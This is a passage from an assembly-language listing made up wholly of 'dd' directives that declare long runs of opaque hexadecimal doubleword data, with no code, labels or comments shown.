2A3F030Ch, 39E23F5h, 5983572Eh dd 5EAEBE45h, 0B203C618h, 2F52EC22h, 2A3FE30Ch, 23E523F5h dd 5223577Ch, 3F3B0A3Fh, 782EF52Ah, 0E5221AF3h, 0A3E530C2h dd 265F3F52h, 7456061Eh, 0C9CE2FC9h, 229BCACFh, 9D93A0A3h dd 0C5DA40A5h, 7E868796h, 3A770316h, 0F9232E92h, 7FBDF872h dd 6299A777h, 65730709h, 0E7A73A58h, 63D5C234h, 8F207950h dd 0C1D3D364h, 0A9E92D0h, 201824C3h, 0C4181C3Fh, 0D640A4DFh dd 0C31E1861h, 2EB13298h, 4C613181h, 874FAF6Eh, 953BE4BAh dd 5B43A6A7h, 0B5DA2DD2h, 9366B792h, 0A4554CCEh, 8A0174h dd 0ADBB0954h, 53CD8C03h, 3D6E11A1h, 892F3B1Eh, 14B2B4D9h dd 0CBD8633Ah, 8A1AD8EEh, 0D53B9A8Eh, 0E1693227h, 0B780ADCEh dd 9CE9B193h, 582CE3B2h, 100E4C2h, 179616D4h, 0B88DA882h dd 5352810Ch, 12AE6EA1h, 0F46FCA3h, 0BD4E9165h, 336394EAh dd 1D288349h, 487CBA5Bh, 6DD61766h, 0FD1DB15Ah, 0EC854644h dd 80323995h, 0E0240980h, 241FFC43h, 0FC0C5821h, 3A6D0FEDh dd 4D1BFF5h, 852D0AE4h, 0C4C0835Ch, 0D165BC9Bh, 20A77EC4h dd 957A4287h, 9664516Ah, 0F4727D4Ah, 6999E152h, 600C941Ah dd 54E38CBAh, 5F514C3h, 0ADF76018h, 0B1F176CFh, 21677CBh dd 5097983Ah, 1E4CBB3Bh, 1B085B80h, 4242E5D3h, 981250D3h dd 68686558h, 0B0BD2AC6h, 0C851700h, 587D5240h, 0B9A32600h dd 0DA19A214h, 582441D1h, 0C34AFF01h, 33004614h, 14287500h dd 1D2E0458h, 8AD4920Ah, 19538C5Ah, 8A3AE180h, 0B013C01h dd 0C156212Ah, 2448639Ah, 0D08E02D4h, 1E9154CBh, 52DA082Dh dd 53EA49A5h, 954E78A7h, 0AB55151Ah, 9AD5A955h, 63B2EB15h dd 0D67B86C5h, 0D56B596Ch, 6DD645A6h, 0C6E5B65Bh, 0B8BBFB85h dd 179B7351h, 0B0C95DEFh, 6B36D4C1h, 27329CD2h, 254C9BCEh dd 0D81FB97Ah, 989F302Ch, 0DADB634Dh, 0B44237A3h, 6B196936h dd 18E2625Dh, 833ADFB8h, 0BB4168D0h, 0BE842052h, 7BC42D16h dd 0C333AF94h, 0D65D0AF0h, 0F734F4EFh, 3DB34240h, 20980D66h dd 189EB108h, 1776FFFAh, 8FB91D5Bh, 9E923A5Fh, 0E054042Fh dd 0A601BD31h, 0B4330012h, 83519FFAh, 0BF5E1627h, 0F058C442h dd 4E58AD9Fh, 92193D0Fh, 5F30BA24h, 0E4178DACh, 50467439h dd 0FD630256h, 87FC20A0h, 92401CFh, 2295962Eh, 0E194C1F1h dd 0FCC00F8h, 6443E959h, 586D8A62h, 763019B8h, 0FF9E0C72h dd 3A123DDh, 9ABFBEE9h, 98F8FACBh, 0C3C3442Ch, 0D6231562h dd 7C63B06Fh, 72C64C5Ch, 1E3D7130h, 0E8E7BF18h, 19BAE163h dd 709FE673h, 0DFE84131h, 0D1C85FE0h, 9163DD68h, 0B11229CAh dd 1C6ABF63h, 21B74A3h, 606D1FF6h, 852B9A18h, 1E2C5023h dd 7201B9h dd 1343440Ah, 24A08D04h, 785236C9h, 118FAD16h, 5460A905h dd 4067517Ah, 9C52A56Ah, 999D7E3h, 7FED4CCDh, 3587F74Ch dd 483F2A7Fh, 0D80BC17h, 7F49079Fh, 484AF1FDh, 902DDF2h dd 8BC3EBE1h, 491CC859h, 0EC162960h, 5B7440B0h, 0E142F462h dd 0FF293961h, 4AA7089Fh, 0FE7F0DCh, 0DEE8C9B6h, 0C4BDA28Ch dd 0E8572EB7h, 0C9DCE5E9h, 0B308D125h, 79480CCEh, 0AA49545Bh dd 5F187092h, 0DA1A2097h, 816C4432h, 1938442Ah, 646B4D70h dd 852F6169h, 80E22261h, 0C2397887h, 68848BA5h, 62FDAD2Bh dd 416F7A61h, 689E409Ah, 3F6B8045h, 0D70D57E6h, 0E728055Bh dd 0CC7F35EFh, 0EABFE416h, 0E8F7B150h, 422AFFCFh, 80041500h dd 0A5643FA5h, 525060C4h, 18CCE030h, 42A82D00h, 30050047h dd 0AE0D4194h, 3292297h, 5E499046h, 5B2DCEh, 0C870E894h dd 0A5941DB6h, 0DE59F5ACh, 0B73DCDA2h, 524F5890h, 4C0A733Dh dd 9AB180D2h, 99775Bh, 9361C131h, 5E82F026h, 0BAE34156h dd 0DD187584h, 1AB875B4h, 88E142B3h, 0E80D1696h, 5B604B9Ch dd 80326C96h, 4199BC51h, 2D2AA20Dh, 2D010D71h, 9C088F00h dd 4F919427h, 9D1A6A11h, 0E398198Bh, 0BC1A3996h, 0EDAC1033h dd 6658CE67h, 413B7341h, 44605C73h, 0E01BE5A0h, 8E028D4h dd 2194AE74h, 56A12E2Ah, 561C510h, 87A14C28h, 427C561h dd 0C0894083h, 4B8D829Bh, 0C06B1BD1h, 0AA014B06h, 5082A64h dd 9A1E656h, 44F465Ch, 3AA58012h, 24CB55D5h, 4D74049Dh dd 805B0Fh, 9CCDCA60h, 92D32931h, 50FA48B0h, 87B45971h dd 0B288F935h, 4DF32115h, 9814B6DDh, 8A620391h, 310DC768h dd 0C4AE085h, 80C134A4h, 936B8026h, 70311561h, 3798304h dd 520195Eh, 2C1AB290h, 87F47048h, 1D290EB8h, 69FFDB63h dd 5E8AA3FAh, 0DB75BEF9h, 93159553h, 2CCDFA3Dh, 5723DF4Fh dd 522392E5h, 53534F23h, 41014B23h, 20D32823h, 9BD91A48h dd 49D394B4h, 0D5327C00h, 904F7C25h, 0FE43408Eh, 4AFAF4h dd 8724DBBEh, 44624D42h, 205A233Fh, 842652B8h, 9B642474h dd 0BD9F4611h, 989D8B30h, 0F7E680C0h, 0AF30683Ah, 54285017h dd 7D5D8C24h, 358552Ah, 60A47BCCh, 0F7002C28h, 449FA9BCh dd 0E9536A08h, 951383FEh, 140EA028h, 0E541D932h, 296139BAh dd 0B81AD8Ah, 5F003023h, 2C4D85C8h, 36DC3F42h, 0A64CA55Ah dd 0EC0C3D90h, 978F2EBBh, 0B45F83E5h, 705CD32h, 2577DC96h dd 0F5C70518h, 1CFF118Ah, 895C3931h, 6081A1B0h, 4614291h dd 5E560558h, 7F876731h, 0F96BBFDEh, 0DC9332BCh, 10347CFBh dd 9526B816h, 0AF7A762Ah, 5E4EC7A8h, 8FDD3B16h, 507A1725h dd 1FA0F9F9h, 0F4FE3C11h, 1E15697Dh, 0F6FCDFC6h, 0D8684A9Ah dd 7F0604A3h, 2C5417DBh, 4C9E1096h, 0B13B8225h, 81DD45BAh dd 0C0CC7672h, 5A5C8F9Ah, 17A0377Ch, 0AF991996h, 57B1A95Ch dd 51B11EE4h, 0DE7E97D0h, 0B105392Dh, 325DB666h, 6B8147E8h dd 1996CFA4h, 3CE0D3DAh, 6A3C4134h, 6A4140BFh, 4FE94A04h dd 0F24FD23Fh, 0F3DBC8F8h, 6593454Eh, 0CB03A27Bh, 1B48D30Bh dd 17CF423Eh, 74F9D48Bh, 0E6C5DA4Bh, 0E76A1C7Dh, 12665090h dd 84A57CE7h, 7CEF2C54h, 2133C4B5h, 271F19DCh, 0F2A9538Bh dd 0D8B19534h, 96771C40h, 0EB437A14h, 0DC9F57EFh, 3931347Fh dd 0FBC06BB1h, 0A90BEC2Bh, 7AC2869h, 0C6B54B6Dh, 0E423CCAEh dd 0DC4DFE59h, 582A63CCh, 12D37114h, 96883F43h, 11D348BDh dd 8DF377D7h, 4DB7ED57h, 352129BAh, 6A1719ACh, 1B0FA970h dd 16874FCEh, 0FB9D96F7h, 2903F7A7h, 0E872AF43h, 36AD6847h dd 0A9E84466h, 731874CFh, 6E31A5F1h, 262FCDDh, 7A5C223Fh dd 0CA97C5E8h, 74CD8A7Ch, 15AA708Bh, 0DDE144AFh, 11A83EFEh dd 0B77AC428h, 9856612Ch, 9CD5F1B3h, 3F9BFFDEh, 511618DCh dd 3C960EF3h, 0A48468D4h, 96CCD353h, 4339C0ECh, 7EDB64CFh dd 94EF7F4h, 925ACF44h, 0A74947E8h, 45731C5Ch, 0CE4240C0h dd 0A1C4DF0Dh, 26846742h, 0A5806B10h, 0FD5A7E89h, 0FB43AEFBh dd 70D46BE6h, 1C697FCEh, 0B71FF432h, 4A32BC11h, 4F7FA289h dd 0BC74D98Dh, 0DECC0146h, 2E9026B4h, 11FA4E2Dh, 0F31BC19Ah dd 44092A96h, 0DC698ACAh, 91A6D0B5h, 0BB6BF7DBh, 4592CF65h dd 0EBDE763Fh, 86CDD1C0h, 0D3E15F16h, 0E1C2229Bh, 3935FF08h dd 71B4BFF5h, 0E43C22E9h, 0FD76D0BAh, 6C72FCE7h, 8AA2C9C1h dd 0F461AF86h, 837EB603h, 4A92294Ch, 7A7AA039h, 0A99DFB6Eh dd 94B84E0Eh, 0A5B9B444h, 7B74D48Ch, 47A197F4h, 0F2B1F93Dh dd 992F1E89h, 8FD19EDFh, 9F6AAAD2h, 8FFBA4BCh, 231B1F06h dd 5717FD52h, 0F2D43ACDh, 689DBCh, 504208D4h, 0F4390D5Dh dd 280897A6h, 16105025h, 653F86C0h, 82A1421h, 564602h dd 2CB30562h, 23B1AB3Ch, 224C491Fh, 0BA5AFC5h, 59DA27C0h dd 0E53BE245h, 0D452022Bh, 79647398h, 3DC8A69Bh, 513FC7C5h dd 0FA7AE4AFh, 0BC5DC61Bh, 0B34FFB71h, 0A3FB4F1Dh, 4671F751h dd 4A3A9DDEh, 6C56D59Eh, 0DA6CDB39h, 4CFDF567h, 0A9952F71h dd 349D3E6Fh, 0F92CFF2Fh, 2977965Eh, 8AE9A049h, 0EC6F780Fh dd 9CC335A3h, 0A149F7EBh, 3FCDEBBEh, 90CC76F3h, 1FDDAFA9h dd 0C7706E22h, 0B33BFE27h, 645A553h, 78635CDDh, 9412FFE0h dd 0F043B76Bh, 5D448718h, 0A00128D0h, 444B9F08h, 0C70993DBh dd 37DB5232h, 0FB85E66Eh, 0A837A40Bh, 5285FE5Fh, 0E4B60BACh dd 0CC7720FAh, 966FDA9Dh, 0B7DB07E1h, 623AAF57h, 0A6E2FCC8h dd 8667DB79h, 0ADA5CF91h, 78BFE4BBh, 0E2B3B65h, 7E238DE5h dd 45E69795h, 0DDC73E2Ah, 1CDC7998h, 47A526FBh, 0B03EFEEDh dd 11D36D60h, 2939A6FEh, 567BE978h, 0DDE93997h, 9C1287FCh dd 0FBF8FB3Bh, 2B34F969h, 0A2E3E8D7h, 0E228B760h, 451DE8A1h dd 1E87B8FCh, 0EBB923B8h, 0B92AFB83h, 0F34ACF60h, 0A1970C87h dd 0E098AD1h, 0FF27DBCDh, 0BCA7758Dh, 0A7E63E2Bh, 4B94ADB1h dd 0BECBF2D7h, 34E8968Fh, 0F776D9A9h, 0FFBB9756h, 0FE6F9660h dd 50A48DFDh, 828499DBh, 752D9A9Bh, 0AF12C67Fh, 0D301C8DEh dd 49EF0FC4h, 1CD6F5D9h, 0DBEE902Fh, 0FA5EE33Ch, 908EEFD3h dd 1296A2CFh, 1B3A6D73h, 61B4CF29h, 3C37064Fh, 8EEFDCCEh dd 0C67E690Fh, 9CD714D4h, 0C374FE2Bh, 2F3703F9h, 0ED3544Dh dd 67F28B95h, 1248D5DAh, 91B83255h, 673FA51Eh, 136FA5C1h dd 40FF5DACh, 0BD3E99BFh, 0A15E17A9h, 6EA6797Dh, 0A8CDE55Fh dd 94ADC365h, 69BBDD64h, 0E67F8E5Ah, 7D7CBECh, 472CDA74h dd 0B64246C9h, 0B80ED0BEh, 4BD363E0h, 0B3DD04B5h, 5BFD31BFh dd 3FDF2831h, 1FC626E3h, 0DDA76E62h, 4DCEBC0Ch, 0C95FBBADh dd 0BD4E937h, 0E252E23Eh, 78EFEF83h, 46170C8Dh, 9D7E11CDh dd 7A76EB96h, 70BC6EB7h, 5BB8D769h, 0B50DCB77h, 9D0EE61h dd 28D79EC3h, 1F49F5DFh, 1FC9E517h, 0A5278409h, 866612C6h dd 4A0C6F67h, 0B69A6491h, 92BE4FADh, 2387CD20h, 0D4E3A6FBh dd 3FECFC6Fh, 18FE2972h, 0B40DF20Bh, 64B36427h, 8ADFCD0Fh dd 1BCC2177h, 9BCB2CDBh, 0F12FB33Fh, 2778EE2Fh, 7A6B5D0Bh dd 2497A3E2h, 869F108Ah, 6CEE1847h, 280B7D96h, 69755475h dd 0E3BDB503h, 23C792DEh, 66F75DFEh, 0B7F115DDh, 47C27B2Ch dd 0F04C4921h, 859C4909h, 9F513F19h, 67EC8D85h, 0CD221CA3h dd 0D8CFD42Dh, 99479F41h, 435936B9h, 7E64D727h, 0BD2FE6DFh dd 0FED2F359h, 8BA42F92h dd 0C8DA5BBh, 0F14C120Bh, 0F966F527h, 0DCCB86DFh, 5A7E373Dh dd 0B5EB235Dh, 9B2AEF7Dh, 0B7D86A63h, 249F3507h, 0AEBBECDDh dd 0CA794DFFh, 957BACA1h, 824C3B1Ah, 381E07C6h, 4B6D6FD1h dd 0DC7A569Ch, 512EE8DAh, 0BD9ED15Eh, 8A92AE0Fh, 0B53E6EAh dd 893FF8CBh, 5BA56558h, 0D5A2221Dh, 4D12F5A2h, 3375D53Dh dd 7BB4513Bh, 3E19E2E3h, 65AF1C94h, 21CB98B2h, 0DF1395EDh dd 8DF7DE7Fh, 2E3EC297h, 1A3FF7CAh, 0A8DA9488h, 71689B50h dd 0CFCE7431h, 0E798946Eh, 0EF87E8C5h, 5BE94DCCh, 2D2E71A3h dd 0BAE810C9h, 0B987A56Eh, 0A242B622h, 0ACE2F5Eh, 91B4FFB1h dd 99F9FB15h, 0CF3EE7BCh, 0C3E821B8h, 0ABDD8FFAh, 7611FA36h dd 0ED62D894h, 6FFA44ECh, 0BAD4378Ch, 0EA90785h, 0AED7247Ah dd 6D8BE9F4h, 749834E4h, 2BBCEB39h, 7E548562h, 5B5DB24Dh dd 72E20A84h, 7B8BED87h, 25567413h, 0A7BF66D7h, 0BEAFC87Bh dd 0FAA458FFh, 99B891DDh, 195BFA6Ch, 7F93F50Ah, 0F3A7E55Bh dd 0F07F3A84h, 2F082AE7h, 47755FEDh, 2F97CDA7h, 8FADA948h dd 7EE0AC67h, 7793D0B2h, 0CB6FF4BFh, 79E1A3ADh, 87AB7BDEh dd 41695F8Dh, 8CC325CAh, 0DDE45CBEh, 0AEE6CD43h, 64E0E77Eh dd 184D270Fh, 15475F39h, 0A4F07E03h, 121EA74Fh, 938CB91Fh dd 350E6F2Fh, 0C74A6923h, 83E376DCh, 0FF4D2191h, 71AC7794h dd 0D20D8257h, 0D16E74FFh, 0B4F22C0Eh, 0FABBC069h, 0D24A3E65h dd 3E223BE6h, 0D5A2C4F7h, 63EB17Bh, 5DB7C2DEh, 0ED009B87h dd 0D0831394h, 0A600AE2Bh, 8722B402h, 42D88A29h, 896B8B02h dd 19F37601h, 9C654115h, 9A37438Eh, 80CB859h, 0F5002209h dd 2EA64604h, 73041327h, 15F2BE23h, 8AA75EB0h, 921234D6h dd 0EAD286E6h, 0EACC0214h, 9E0EA9E0h, 8508B02Ah, 53C3EB35h dd 0FBB84565h, 3D717FB5h, 6F9C8572h, 0C663EDE3h, 0CC28BFF7h dd 0CF77059Ah, 0FB74704Fh, 9BE381A0h, 0F5951F7h, 53C3154Fh dd 924D9005h, 1C42F623h, 382EC660h, 6A79290Eh, 0C3CA5211h dd 0F2021553h, 0B8BF4114h, 7F349CF8h, 3C6B3A3Ch, 0EA40C63Ah dd 53CB8452h, 0C6C2E1C4h, 50682C5Ah, 0FEFB3011h, 92C959B9h dd 4D4621B4h, 0B1CC2CD0h, 0F939EA93h, 0F9DD7D64h, 27559AB1h dd 2BB7E22Bh, 4C68EDC5h, 180650ABh, 9DFDD138h, 232460F1h dd 0B756968Fh, 0FD5E695h, 0D081EEDCh, 0F7F23E75h, 493BDC0Ah dd 9DE7704Dh, 0B97EBE40h, 0CFB6F9DAh, 99AB607Ch, 5769DA37h dd 507B5A63h, 0C3D30F8Ah, 0A0B16662h, 238996D3h, 0E5E039CEh dd 26B35EE7h, 0F6E99B59h, 7656B96Eh, 46558FF9h, 6BA7CE04h dd 94C7E6E7h, 0E36E1A7Eh, 996A95Bh, 2C94B473h, 79484DCh dd 557D0AE1h, 0E944613Eh, 26B715BEh, 4E778BF9h, 0E3E2C9CEh dd 2CA732E5h, 0E0E19348h, 8B368DACh, 6BB97B55h, 0E4226650h dd 156BA2CEh, 0E6F0FB1Fh, 0CCA5EFB5h, 27ADAFDAh, 0F3ADF6DBh dd 7FE3CAE0h, 7254240Fh, 3CCCA9D4h, 23B63CDDh, 0B80EE261h dd 0B5617F3Ch, 0A0700FF7h, 32A5C6C0h, 4A94B8F6h, 1D1E41E4h dd 29635C7Dh, 0FB251DE2h, 0A5CDA35Ch, 9C6A4219h, 45957FFCh dd 7F915E5Fh, 0AADA160h, 0F377AA64h, 251E1BD0h, 8FC1BAAEh dd 0FFADD3D3h, 0ECCEF837h, 7D495E73h, 970ED038h, 7C7C3F63h dd 6B15C146h, 7BC58A39h, 0F9F5F3F6h, 560799C8h, 0BB46B48Dh dd 5DB753E0h, 0DBBAFAFCh, 0B61AA365h, 991FC8A7h, 3CB7B6BEh dd 2209CF59h, 0C4B14DB4h, 0CEA39A8h, 87E4B79Dh, 9E2C6BD6h dd 78A7B378h, 6AA0569Bh, 0A988D1CDh, 0CE67FCADh, 0DD44B19Dh dd 8E749997h, 622BBDDBh, 0DAF82FD8h, 0E7F2D7F9h, 9EE7FE8Eh dd 0B39A0FD8h, 52A13091h, 52262FDDh, 7D104EA1h, 937A368Bh dd 8CD5C596h, 9AD1B3CDh, 46EF29B7h, 0D96E4AC5h, 259E4BB6h dd 0B754376Bh, 0A3B5D345h, 8C152A76h, 4A351B85h, 4EB72613h dd 0CD025287h, 0B2CD569Dh, 8A3DAF78h, 52B1AE74h, 0B39BBEEDh dd 0A951DAE9h, 305E35D6h, 0A85BAC1Eh, 0FB856571h, 349B6636h dd 5368BAABh, 51ADCCCBh, 36FAE5CAh, 0F4CA6569h, 9B59853Ch dd 0BD546162h, 7D1D0F96h, 0E229D45Ch, 0A4A81E1Dh, 64E0542Ch dd 0A5CD768Bh, 0D56A524h, 9B50AF8Bh, 0AB958535h, 2B476D54h dd 4346987Dh, 0CB856976h, 53312874h, 0D26CA6D1h, 213B7AB1h dd 0AD36D6EAh, 0A2D93D1Ch, 0E8456B39h, 1AA40C4Dh, 61B76EB3h dd 0E5B2D2ADh, 0A8543BC3h, 9A5C9F44h, 0A0386F54h, 56B2CAA4h dd 102E5685h, 0ADDC58D4h, 0AD1E959Bh, 0B0D0D139h, 0A9B99943h dd 233668D5h, 0A0AD7A11h, 66A9FB25h, 86AEC29Bh, 95DE5AEAh dd 2A0494EBh, 45EA9F43h, 2952167Ah, 7A876369h, 1B35852Bh dd 4AA4E6D5h, 0C68EAEB5h, 773B2E00h, 6E48586Ch, 0AD26B5A2h dd 0A654B9B9h, 0FBD48575h, 0A6D2C34h, 58E4E5A7h, 71AB2A9Ch dd 8D05CA93h, 34508492h, 65306C7h, 64A5C028h, 0A4099B6Dh dd 41B3DE62h, 16C9352Dh, 0B514DBAFh, 9B4CA55Ch, 73A2D5A4h dd 0B67581B1h, 331E4DADh, 30A3C4C3h, 0A313AD39h, 0ACC0427h dd 0B91CF061h, 0E22DF562h, 1CFA45E8h, 401235Eh, 0B15A389Dh dd 2BFFB8FAh, 462DCF40h, 0CEEFA2ABh, 2BCA255Fh, 4BE82E97h dd 0A212FA28h, 66999028h, 0B3A07DA2h, 5D33CC0Fh, 43BCE9D1h dd 20B0F120h, 75BA5F58h, 0D1F87AE0h, 98F09F0Fh, 480F53A2h dd 5B332093h, 0A0162A1h, 4360D21Eh, 94704981h, 8C788B41h dd 0B83E89F1h, 79308CD9h, 0A072A2A0h, 6031FB40h, 60F78267h dd 23C13A1Dh, 918624E4h, 444FD5B0h, 0DDFF53A8h, 3739EDEh dd 42E9075h, 0E04BE94Dh, 620C022Dh, 0A861131Fh, 25D6E625h dd 89650EDCh, 0E64147B4h, 3D7C6428h, 8F5A2D9Ah, 48914BC0h dd 54141286h, 9749CAA2h, 25B27A80h, 91841E96h, 94729423h dd 9D1EB572h, 10FB0897h, 0C4A0F853h, 7390A3DDh, 5A8E72A4h dd 0D9A395B6h, 0B8526D12h, 1897DA04h, 0BC25E473h, 2396751Eh dd 7314AF98h, 958144A5h, 259A72A0h, 92841E9Eh, 0F4319A23h dd 3EB7BC88h, 0BF5F2815h, 96A465F3h, 20E7E7D2h, 75080229h dd 2EB27010h, 4948F711h, 33283DACh, 1EBE0184h, 47AC96CDh dd 3025E0h, 12A08929h, 44BA8653h, 6125A3D3h, 10C348F4h dd 14802006h, 781034A4h, 0F7111630h, 3DA87CE8h, 1842FBAh dd 94E54948h, 24A43318h, 19541EB8h, 8F4E80C2h, 40614B66h dd 25DD1252h, 0A4A40C8Eh, 19E44788h, 2B9880C2h, 8A4AA4A1h dd 6B01A39Ch, 8F64DC1Bh, 806106C0h, 25E41252h, 897F0CBAh dd 945A47ABh, 7242641Bh, 12A58894h, 44A18E4Bh, 70CD23D1h dd 523D9234h, 0AE8F2109h, 0C1A3E44Ah, 0B7087312h, 2292DB44h dd 96F671h, 8E594473h, 0CAD1AA54h, 5E3412D3h, 97CDCA42h dd 25FF7A58h, 94741E88h, 0F47347BEh, 0F91E2F12h, 0EF98B096h dd 4A1DE25h, 7308239Ah, 668EB314h, 0C4239432h, 0B3C85A12h dd 2DD2D4C4h, 4A7BF4C1h, 3F143D14h, 48F73747h, 0A4076431h dd 3279828Ch, 27999C8Ah, 7980B0A3h, 968A8A32h, 50A3A327h dd 8A323279h, 0A3272793h, 32797920h, 0A79C904Ah, 79B0E8A2h dd 994ACA2Ah, 78A2A2A7h, 0CA2A2A79h, 0A2A7A795h, 2A797940h dd 0A79E924Ah, 79D008A2h, 9B4ACA22h, 98A2A227h, 0CA222279h dd 41A2797h, 0B0827970h, 94D30802h, 40E05612h, 397E3C2Dh dd 509520D3h, 0E445345Ah, 55B8D659h, 9F8AA209h, 5D7F4C41h dd 0F0021A1Ch, 928E8916h, 8AFF0CAEh, 36007212h, 9FB2D903h dd 9264834Dh, 20A9062Eh dd 0A4CCA97h, 1016D426h, 0B0D58BADh, 4C4C3368h, 8DA6095Eh dd 58B35861h, 4CD8D324h, 689B182Fh, 0FA64617Ah, 0CC904CD1h dd 400CF0Bh, 0DA65E80Ch, 94C10C43h, 4576F60Fh, 0D7ACCC24h dd 34495F53h, 0A1DF490Ah, 0E8B4CA48h, 871D05D9h, 0F1242245h dd 4DE28DA6h, 6372DEB1h, 9BD89B9h, 0D6C99BD7h, 9BD66E9Bh dd 6D37BD6Ah, 0F12489BCh, 9B978EA6h, 0BD70DE28h, 0E8FD2C30h dd 0D6A88FD6h, 8FC66C8Fh, 0E23FFD68h, 0A1A591F8h, 8D2658A2h dd 0DE349F37h, 9378F1A4h, 1A4D9BC6h, 0BC69D26Fh, 26F1E349h dd 349B378Dh, 78D2A4DEh, 4DE3C693h, 691F6F1Ah, 0F1A448FCh dd 8FC68D23h, 0D23F7E34h, 0E34891F8h, 0E0501A47h, 0D4ACBDF1h dd 4F989F91h, 44DE50B5h, 0E249714Bh, 37ACB34Dh, 6985BC51h dd 52E11371h, 0D37A461Ch, 0AD5337ADh, 37ACD937h, 0C9377AD1h dd 0F582D37Ah, 0B0C28926h, 3F5B6E5Ch, 0B23FF5C2h, 0F5A2A3F5h dd 0A3F55AA3h, 3EC03F59h, 5DD8923Fh, 68633E2Eh, 59D9EEBCh dd 85FB60EAh, 718537A3h, 8BC51675h, 83303424h, 95591178h dd 9C2245C5h, 17A68534h, 3545F4DDh, 2F4CC8BDh, 648BE9A2h dd 7A60D17Ah, 0E68C491h, 0E1178B8Eh, 0BD36C294h, 0AA2FA6E8h dd 7A6645E9h, 245E4D11h, 3A448BD3h, 24AC269Ah, 0B4EA0EC9h dd 2B2C1628h, 0A7533B0Ch, 6A850117h, 9F6D0A52h, 0D2CC28C6h dd 0F6B8A5C0h, 0F4D8743Fh, 8DC39684h, 0A695CCCEh, 0AE12FC5Fh dd 0CA5CA052h, 0ECA592DCh, 0B3442D24h, 3458AEF6h, 0C900AED6h dd 0C210130Eh, 6A0CC65Ch, 9592312Ch, 0B299EDBCh, 8246C579h dd 967D5F09h, 0B0890BDCh, 11A82E8Bh, 0A0242E85h, 29ACD547h dd 61B7A693h, 8BFD8287h, 438649EEh, 0B19CA4D6h, 0E9608996h dd 0C0A53448h, 154AA401h, 0A9450058h, 906E9E4Ah, 405CA218h dd 6E16C914h, 0D1DD2585h, 7C12FB95h, 80B02927h, 0D034ACB7h dd 865CBA8Ah, 0D2F788A0h, 2D61ACB6h, 15041C4h, 0A21AB1DAh dd 0AA5CCCB9h, 0E7666D20h, 5D8652h, 0B617542h, 16D52DB7h dd 83BE9084h, 0E0F29249h, 69D424D6h, 6436A152h, 0B2B41A95h dd 42351AB8h, 54282AA3h, 0E1F94A8Bh, 9C3CDA8Ch, 18A250A7h dd 0D1752443h, 0CA58A0A3h, 5B1A364Ah, 0C0215B0Ch, 0C2FB597h dd 0A7280D0h, 0AD60010h, 0CAE9A699h, 7E85EBD2h, 2C443606h dd 50491722h, 9A9A5AC3h, 542C6994h, 69BB868Bh, 2AE23A1h dd 5C145954h, 0D6468D07h, 0DEC1143h, 3172FF43h, 83E43FF5h dd 85590702h, 0AA5EEFC0h, 506DAE14h, 0F6C46E16h, 5618BA3Fh dd 9154D5D1h, 9A85FA82h, 0E6B3AA95h, 8A5E1438h, 0AABE7904h dd 0A2E14CA8h, 8B21B158h, 3A156E09h, 290CD01Ch, 884685AFh dd 4552055Eh, 50D466A2h, 0BBCA5010h, 5662B929h, 56141833h dd 0B6F1C063h, 5C2CEBD5h, 53AC46BAh, 330D80CDh, 53CFB0C5h dd 126B0AABh, 0A767ED46h, 4912AAD2h, 62DC3584h, 1A00664Ah dd 7568D77h, 5041741Ch, 0AC13B500h, 0F714AAAAh, 53068EADh dd 472E1222h, 5CB56063h, 6B95F6E0h, 987A1712h, 7D5897Eh dd 9D94D174h, 7C225514h, 0C2952A47h, 0A8EBD686h, 1DFA792Dh dd 0EABD0006h, 24CBB3A5h, 0B07CC22Ah, 38601E94h, 3425A988h dd 3CA15B6Fh, 595D22C0h, 50A0ACEFh, 620AFBF8h, 6C6017CBh dd 25B4F87h, 9012952Ch, 5E0D9A86h, 227B2C6Ah, 0B85946Fh dd 0F1300Bh, 3E43C809h, 3A5A8970h, 3BF48546h, 594CA492h dd 3A9B44C2h, 0DA50014Bh, 0E55C6028h, 0A561A0ACh, 60130132h dd 90884147h, 25842C57h, 80750A9Ah, 5404C069h, 84721E9Bh dd 0ADEA4A65h, 626D25A6h, 35D45796h, 0C144A28Ch, 0A2D5BC5h dd 0C140F8F3h, 0A4A9435Bh, 0E9BF5C30h, 3D517368h, 0D89411BCh dd 48A1B737h, 12C8EADAh, 7F00F7ABh, 9A00008Ah, 29022052h dd 65B2856Fh, 2E1C93D6h, 81F9D363h, 81D452F2h, 0DB4651Ch dd 0E2F016CBh, 0B2B81C80h, 4566525Eh, 32CB76D8h, 0DCE18FEAh dd 5B444CE2h, 0E3290A17h, 48E6B5ACh, 9A89809h, 55D8AAE8h dd 7ACC99Fh, 7308F143h, 4BC2CB5Fh, 5FEF8AAFh, 9254252Ah dd 1A54A470h, 0D6FB8860h, 26AD93A8h, 34A4ADB8h, 0F5FC2D2Ah dd 4734A0E0h, 777406B4h, 0E55230C1h, 280F5C9h, 4352A53Eh dd 0A9D4187Dh, 0E9EC9F4Ch, 4E7D2834h, 2C18A66h, 2A033CA4h dd 22005978h, 42A67186h, 0ACCD7283h, 59025140h, 4A6D3E89h dd 69758Ch, 0D2C3080h, 0DA78920Dh, 0D7439D63h, 4CF7EB48h dd 40C9E605h, 0B3B1C613h, 6031A5ADh, 0B50D0500h, 0FCD56403h dd 0CF483529h, 0BE49226Eh, 0D26D2B6h, 0D29652F9h, 34003768h dd 0F00418EEh, 0ACAF2480h, 71DBEC4Ah, 4E754807h, 336E0E19h dd 347914C6h, 8B2A4EB6h, 0FBC9B4F0h, 35757D82h, 9D37830Ch dd 0DB0F9D87h, 9B363FA5h, 5394B8DDh, 1C5147C5h, 0B6171466h dd 0B59FB651h, 0EF3AFAB5h, 0D9B61B01h, 0B946F6BAh, 16441CB2h dd 0A6C61F7h, 609F636Bh, 0C5C6D4FAh, 375854h, 0F0150345h dd 4C2C07CAh, 92BD04B8h, 42A18653h, 0D74081ABh, 0A4701205h dd 8404361Ch, 2D097344h, 28176B89h, 0A687A8CEh, 0AA1B0D72h dd 0FDE50AB4h, 34F9451Ah, 78560155h, 0E87142C1h, 5BB1E77Dh dd 0A026E6F6h, 0E770D422h, 0A95BB0DFh, 0F3D6F6F2h, 28A6E8C4h dd 0A67BF502h, 4E0DEEADh, 2C4DEB95h, 727246B2h, 2F2D64F7h dd 8ABFC3Ch, 50157B02h, 0D023943h, 604CCFD2h, 1CA48271h dd 0C5C12DEFh, 249BC020h, 1FAC67B3h, 0C53198E3h, 0C58BC260h dd 0A2A32A39h, 0D3107678h, 0B09CA2A3h, 655E558Eh, 83B92AA5h dd 0BCADC809h, 0D524DA45h, 42D3D009h, 4B5D521h, 17850523h dd 367DDD2Dh, 0FE567583h, 73156A61h, 0AA05F9D0h, 0A4321541h dd 2E86C8FBh, 23F0C4AFh, 0F2C86A59h, 0E9C82962h, 2E65D324h dd 